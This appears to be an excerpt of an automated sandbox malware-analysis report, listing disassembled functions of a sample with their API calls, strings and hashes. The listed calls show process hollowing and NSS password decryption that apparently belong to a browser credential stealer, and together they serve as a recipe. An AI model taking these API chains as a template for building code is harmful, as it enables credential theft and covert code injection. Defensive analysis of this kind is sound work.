Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$Findlstrlen$Heapmemsetwsprintf$AllocCloseCopyDeleteFirstNextProcessSystemTime
String ID: %s\%s$%s\*$P2#v$1#v
API String ID: 4208899712-4226942003
Opcode ID: f06b005fab656e06b95eb6351e15aa83bae8829f26b9711685b8b4a27cbc07e3
Instruction ID: 746041cbc197e31f44748165125f7c6c1aef6f1071cdc2deca7dc272e6d55442
Opcode Fuzzy Hash: f06b005fab656e06b95eb6351e15aa83bae8829f26b9711685b8b4a27cbc07e3
Instruction Fuzzy Hash: 58615272910208ABCB14FBB1DC46EEE737DAF44304F44457DF606A25D1EB78AA48CBA4

Function 6C80ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C80EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C80EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C811695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8116B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C811770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C811A3E

Strings

~q~l, xrefs: 6C80ED10
~q~l, xrefs: 6C80ED13

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q~l$~q~l
API String ID: 3693777188-1658444983
Opcode ID: f52d85b773398d2c562634337e74c18cc4f69f8dc9f1eae4e72f89dd607fa011
Instruction ID: 3c40278fea96b1e10269efc1b29ba241f27ead481e45ec3481200288b97c26d9
Opcode Fuzzy Hash: f52d85b773398d2c562634337e74c18cc4f69f8dc9f1eae4e72f89dd607fa011
Instruction Fuzzy Hash: BFB32A71E0421ACFCB24CFA8C990A9DB7F2BF59304F1585A9D449ABB45D730AD86CF90

Function 6C7FFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C86E7B8), ref: 6C7FFF81
LeaveCriticalSection.KERNEL32(6C86E7B8), ref: 6C80022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C800240
EnterCriticalSection.KERNEL32(6C86E768), ref: 6C80025B
LeaveCriticalSection.KERNEL32(6C86E768), ref: 6C80027B

Strings

<jemalloc>, xrefs: 6C800D62, 6C800D76, 6C800DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7FFE99, 6C7FFEB7, 6C7FFED3, 6C800DB8, 6C800DD3, 6C8019B4
: (malloc) Error in VirtualFree(), xrefs: 6C800D67, 6C800D7B, 6C800DAC

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: e9470b47102073682c29f4be84bde6ec71dcc834c67bdec1e1f5b4c698b2029b
Instruction ID: d5824a5ecd335265a0e4fd2139350865175f0536d9320c28c7fdbc61265a5954
Opcode Fuzzy Hash: e9470b47102073682c29f4be84bde6ec71dcc834c67bdec1e1f5b4c698b2029b
Instruction Fuzzy Hash: 68C2B471B057418FD724CF29CA80716BBE1BF86328F28CA6DE4698B795D771E841CB81

Function 6C84E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C84E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C84EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C84EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C84EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C84F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C84F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C850E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C850E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C850EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C850ED4

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 125e91756889965654cf2f8c13407bca9f91d37e85eb426fa6b8fd68c2201b68
Instruction ID: af81d8d1057510f055a063aaf9dd31de7a14b01eaa5b8f4ee7e183113482c9b2
Opcode Fuzzy Hash: 125e91756889965654cf2f8c13407bca9f91d37e85eb426fa6b8fd68c2201b68
Instruction Fuzzy Hash: 3363BD71E0021A8FCB14CFA8C9C06DDFBB2FF89304F698669D855AB745D770A946CB90

Function 0040AAB0 Relevance: 21.4, APIs: 9, Strings: 3, Instructions: 373filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040AAD0
FindFirstFileA.KERNEL32(?,?), ref: 0040AAE7
StrCmpCA.SHLWAPI(?,004201DC), ref: 0040AB0C
StrCmpCA.SHLWAPI(?,004201D8), ref: 0040AB26

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

lstrlenA.KERNEL32(00000000,004201E9,00000000,?,?,?,004201E0,?,?,004201E9), ref: 0040ABB6

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

DeleteFileA.KERNEL32(00000000,00000000,?,024BFEB0,?,?,?,004201E0,?,00000000,?,024BDFF8), ref: 0040AE58
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040AE72

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00406C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
Part of subcall function 00406C20: GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
Part of subcall function 00406C20: LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
Part of subcall function 00406C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
Part of subcall function 00406C20: CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

Part of subcall function 004142A0: Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
Part of subcall function 004142A0: CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
Part of subcall function 004142A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

FindNextFileA.KERNEL32(00000000,?), ref: 0040AF64
FindClose.KERNEL32(00000000), ref: 0040AF73

Strings

P2#v, xrefs: 0040AF64
1#v, xrefs: 0040AAE7
%s\*.*, xrefs: 0040AACA

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcatlstrlen$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeSleepSystemThreadTimeWaitwsprintf
String ID: %s\*.*$P2#v$1#v
API String ID: 309841800-3139634048
Opcode ID: 30f62f3baf0f74cede6b613d7a2709da8779bd132c22eda9c49a371f276973ac
Instruction ID: 54361b121fd4a5faf207f458e757ab027143cc157acfd2409b877d34994b1766
Opcode Fuzzy Hash: 30f62f3baf0f74cede6b613d7a2709da8779bd132c22eda9c49a371f276973ac
Instruction Fuzzy Hash: 2BE1F172910108AADB24FB61DC52EEE7378AF54304F50817EF516728D1EF786B4CCAA9

Function 0040ED80 Relevance: 18.2, APIs: 12, Instructions: 157threadinjectionmemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040EDB8
CreateProcessA.KERNEL32(00000000,004118E0,00000000,00000000,00000001,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 0040EDDC
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,00000000,?,00000000,00000000), ref: 0040EDF6
GetThreadContext.KERNEL32(?,00000000,?,00000000,00000000), ref: 0040EE0C
ReadProcessMemory.KERNEL32(?,?,00000000,00000004,00000000,?,00000000,00000000), ref: 0040EE2C
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040,?,00000000,00000000), ref: 0040EE45
ResumeThread.KERNEL32(?,?,00000000,00000000), ref: 0040EE55
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 0040EE70
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,00000000,00000000), ref: 0040EEB7
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 0040EEE9
SetThreadContext.KERNEL32(?,?,?,00000000,00000000), ref: 0040EEFF
ResumeThread.KERNEL32(?,?,00000000,00000000), ref: 0040EF09

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateReadmemset
String ID:
API String ID: 1041758820-0
Opcode ID: c6bf471cfcd70359602527b4795af91b466685a92f7da841b8c71bdd0bd05eeb
Instruction ID: e6aa18da0c3cdefc9da82689fe8d07a7c82ccb2d89c1651f45fdfb714d62c756
Opcode Fuzzy Hash: c6bf471cfcd70359602527b4795af91b466685a92f7da841b8c71bdd0bd05eeb
Instruction Fuzzy Hash: 97516EB5A00209AFDB10CFA5DC85FABB7B9FF48714F109519FA09E7280D7B4A950CB94

Function 00409D40 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 391fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,004201E9,?,75AFAC90,?), ref: 00409D8B
StrCmpCA.SHLWAPI(?,004201DC), ref: 00409DAE
StrCmpCA.SHLWAPI(?,004201D8), ref: 00409DC8

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A19B

Part of subcall function 00406C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,0040BA32,?,00000000,?,00000000,00000000), ref: 00406C3F
Part of subcall function 00406C20: GetFileSizeEx.KERNEL32(00000000,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C55
Part of subcall function 00406C20: LocalAlloc.KERNEL32(00000040,?,?,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C70
Part of subcall function 00406C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406C89
Part of subcall function 00406C20: CloseHandle.KERNEL32(00000000,?,0040BA32,?,00000000,?,00000000,00000000,?), ref: 00406CB1

DeleteFileA.KERNEL32(00000000), ref: 0040A212

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 004142A0: Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
Part of subcall function 004142A0: CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
Part of subcall function 004142A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

FindNextFileA.KERNEL32(00000000,?), ref: 0040A250
FindClose.KERNEL32(00000000), ref: 0040A25F

Strings

P2#v, xrefs: 0040A250
1#v, xrefs: 00409D8B
\*.*, xrefs: 00409D59

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcat$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 4272825625-2075649900
Opcode ID: 73f3d9ae6c0d0d7f9e6d2b6fcbf6fc343769dff9ae611d971c5ee1a7dd17825d
Instruction ID: 1809a5311949ca0b9c89a721540d1c2105833dcede182c49d6e4cf0860b31a4c
Opcode Fuzzy Hash: 73f3d9ae6c0d0d7f9e6d2b6fcbf6fc343769dff9ae611d971c5ee1a7dd17825d
Instruction Fuzzy Hash: 02E1E272910108AADB25FBA1DC52EEE7378AF54304F50817EF516724D2EF386B4DCA68

Function 6C80D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C86E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C81D1C5), ref: 6C80D4F2
LeaveCriticalSection.KERNEL32(6C86E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C81D1C5), ref: 6C80D50B

Part of subcall function 6C7ECFE0: EnterCriticalSection.KERNEL32(6C86E784), ref: 6C7ECFF6
Part of subcall function 6C7ECFE0: LeaveCriticalSection.KERNEL32(6C86E784), ref: 6C7ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C81D1C5), ref: 6C80D52E
EnterCriticalSection.KERNEL32(6C86E7DC), ref: 6C80D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C80D6A6
LeaveCriticalSection.KERNEL32(6C86E7DC), ref: 6C80D712
LeaveCriticalSection.KERNEL32(6C86E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C81D1C5), ref: 6C80D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C80D7EA

Strings

<jemalloc>, xrefs: 6C80D827
: (malloc) Error initializing arena, xrefs: 6C80D82C

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 0b651219b5198ff7bd32510c9337eb5e0d6eba34a161973a6a08d626ef2ca644
Instruction ID: c728390efd78db04b9fd5a585ba71e5d1832c4d88335a9203c8c5bbc6319c3b5
Opcode Fuzzy Hash: 0b651219b5198ff7bd32510c9337eb5e0d6eba34a161973a6a08d626ef2ca644
Instruction Fuzzy Hash: BB917271B047458FD734CF29CA9462AB7E1EB8A318F154D3EE56A87B81D730A844CB81

Function 6C805E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C805EDB
memset.VCRUNTIME140(6C847765,000000E5,55CCCCCC), ref: 6C805F27
LeaveCriticalSection.KERNEL32(?), ref: 6C805FB2
memset.VCRUNTIME140(6C847765,000000E5,86C09015), ref: 6C8061F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C807652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C8072F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C8072E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C80730D
MOZ_CRASH(), xrefs: 6C807BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C807BCD, 6C807C1F, 6C807C34, 6C8080FD

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 80ec97108e10845acabc2b1cdf7897d8686dc2a65770db84cc9be275c3e8a7a8
Instruction ID: 5e21cdbc60c11454db7b5ff2c9a9d3f985433f77daa72c29c5d0bd1f77d06851
Opcode Fuzzy Hash: 80ec97108e10845acabc2b1cdf7897d8686dc2a65770db84cc9be275c3e8a7a8
Instruction Fuzzy Hash: 48337F717057018FD324CF19CA90615BBE2BF85328F29CBADE9698B7A5D731E881CB41

Function 00408980 Relevance: 16.6, APIs: 11, Instructions: 100stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004089A9
lstrlenA.KERNEL32(00408CA9,00000001,?,00001FA0,00000000,00000000,?,00408CA9), ref: 004089C6
CryptStringToBinaryA.CRYPT32(00408CA9,00000000,?,00408CA9), ref: 004089CE
PK11_GetInternalKeySlot.NSS3(00000000,?,00408CA9), ref: 004089DD
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00408CA9), ref: 004089F3
PK11SDR_Decrypt.NSS3(00000000,?,00000000), ref: 00408A1E
memcpy.MSVCRT ref: 00408A3A
PK11_FreeSlot.NSS3 ref: 00408A51
lstrcatA.KERNEL32(004201E9,004201E9), ref: 00408A6D
PK11_FreeSlot.NSS3(00000000), ref: 00408A74
lstrcatA.KERNEL32(004201E9,004201E9,?,00408CA9), ref: 00408A90

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: K11_$Slot$Freelstrcat$AuthenticateBinaryCryptDecryptInternalStringlstrlenmemcpymemset
String ID:
API String ID: 2752138542-0
Opcode ID: 2b0949c77210e293acabdb0cec4e092ab957560e286ad4e33f24cae582357a1a
Instruction ID: 227537936813ba88750cfa6287831e92d8aa0b197148071f4a23e064d2bd593c
Opcode Fuzzy Hash: 2b0949c77210e293acabdb0cec4e092ab957560e286ad4e33f24cae582357a1a
Instruction Fuzzy Hash: 5431C476F002146BC7109B99EC85AEFB7BDEF84710F14407AF908E2241DBB55A14CBE6

Function 6C832C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C832C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C832C61

Part of subcall function 6C7E4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C7E4E5A
Part of subcall function 6C7E4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C7E4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C832C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C832E2D

Part of subcall function 6C7F81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C7F81DE

Strings

expected a Time entry, xrefs: 6C832E36
ProfileBuffer parse error: %s, xrefs: 6C832E3B
(root), xrefs: 6C83354F

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
